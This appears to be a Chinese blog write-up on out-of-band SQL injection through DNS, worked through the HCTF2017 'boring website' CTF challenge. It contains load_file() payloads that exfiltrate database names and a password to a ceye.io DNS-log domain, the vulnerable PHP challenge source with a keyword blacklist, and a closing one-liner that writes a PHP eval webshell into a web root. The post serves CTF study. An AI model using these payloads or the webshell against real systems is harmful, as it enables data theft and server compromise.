源于HCTF2017的一道题目,看来自己还是太年轻了,这种注入自己以前一直没见过,然后一搜一大把。
SQL注入类型细分,分为以下5种:
1 2 3 4 5
| 1. Boolean-based blind SQL injection 2. Error-based SQL injection 3. UNION query SQL injection 4. Stacked queries SQL injection 5. Time-based blind SQL injection
|
共计3大类:
1 2 3
| 1. inband 2. inference 3. out of band(OOB)
|
OOB与我们熟知的inband类的注入相反。inband是利用web应用来直接获取数据,比如Error-based SQL injection和UNION query SQL injection都是属于inband类,它们都是通过web的响应或者错误反馈来提取数据。
而inference则是通过web的一些反映来推断数据,比如Boolean-based blind SQL injection和Stacked queries SQL injection 也就是我们通俗的盲注,通过web应用的其他改变来推断数据。
我们的主角OOB则是通过其他传输方式来获得数据,比如利用我们等会要说到的DNS解析协议和电子邮件。当你遇到了某些很隐蔽的注入点,inband类注入没办法用,inference类注入被你嫌弃太慢的时候,OOB就是你最好的选择了。
如何查看mysql是否开启了文件导入导出?
mysql>show global variables like '%secure%';
如果secure_file_priv
的值为null
,则没开启;如果为空,则开启;如果为目录,则说明只能在该目录下操作。
如何修改secure_file_priv
?
1 2 3 4
| windows下:修改my.ini 在[mysqld]内加入secure_file_priv = linux下:修改my.cnf 在[mysqld]内加入secure_file_priv = MYSQL新特性secure_file_priv对读写文件的影响 然后重启mysql,再查询secure_file_priv
|
原理什么的:
1 2 3
| [http://bobao.360.cn/learning/detail/3458.html](http://bobao.360.cn/learning/detail/3458.html) [http://www.freebuf.com/vuls/138838.html](http://www.freebuf.com/vuls/138838.html) [http://www.jianshu.com/p/95c814c515a2](http://www.jianshu.com/p/95c814c515a2)
|
大致就是如果目标服务器是搭在win下,且有能操控文件的函数,且配置不当,如mysql中的secure_file_priv全局系统变量配置问题,就有可能会触发OOB注入。注入过程呢,是通过那些函数,例如load_file()去发送DNS请求,然后将我们的查询语句构造在DNS查询中,例如:
1 2 3 4 5
| 利用payload是:load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\abc')) concat是字符串拼接 database()就是你要做SQL注入查询的地方 '.xxxx.ceye.io\abc'就是你的dnslog平台给你的域名 后面的abc可以改也可以不改,无所谓的,你乐意写啥就写啥
|
这里的域名是在http://ceye.io/中注册得到的。
boring website
这是HCTF2017的一道题目。
题目:https://github.com/hammerorz/HCTF2017-easy-sign-and-boring-website
wp:https://xianzhi.aliyun.com/forum/topic/1589/
知道了这个注入之后就很好做了,直接抄wp了
发现应该是sql server
用linkserver
来连接mysql
。所以去查了一波linkserver
的用法,以及结合注释可得select * from openquery(mysql,'select xxx')
可以从mysql
数据库中查得信息,但是没有回显,sleep
函数也被ban了,然后看到oob的提示,去查了一波mysql out-of-band
,发现load_file
函数可以通过dns通道把所查得的数据带出来。接下来的过程就是十分常见简单的mysql注入的流程。
这里值得另外一提的是,本来不知道原来还能用openquery
来进行连接不同的服务器,又学到了。
我将题目重新搭了一下,不过因为本地没有安装sql server,所以就没有搭sql servser环境,只是复现了load_file
的dns
查询。而一开始没有成功,发现是少了配置条件,没有配置secure-file-priv。截图如下:
本地数据库信息
重新搭的题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php $conn=@mysql_connect("localhost",'root','root') or die("数据库连接失败!");; #echo "Connected to MySQL<br />"; echo "Connected to MYSQL<br />"; mysql_select_db("sql4",$conn) or die("您要选择的数据库不存在"); if(isset($_GET['id'])){ $id = $_GET['id']; if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare |if|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) { die('stupid hacker'); } $query = "select username from not_here where id = $id"; $stmt = mysql_query( $query ); $arr=@mysql_fetch_array($query); if (is_array($arr)){ //TO DO: ... //It's time to sleep... } } else print("?id"); ?>
|
payload
1
| ?id=8 union select load_file(concat("\\\\",(select password from secret),".3g3dxq.ceye.io\\abc"))
|
结果
PS:
在搜索这些函数的时候,学会一个新姿势,算是意外之喜吧。用mysql写一句话:
1
| select '<?php eval($_POST[cmd])?>' into outfile 'D:/PHPnow-1.5.4/htdocs/index2.php'
|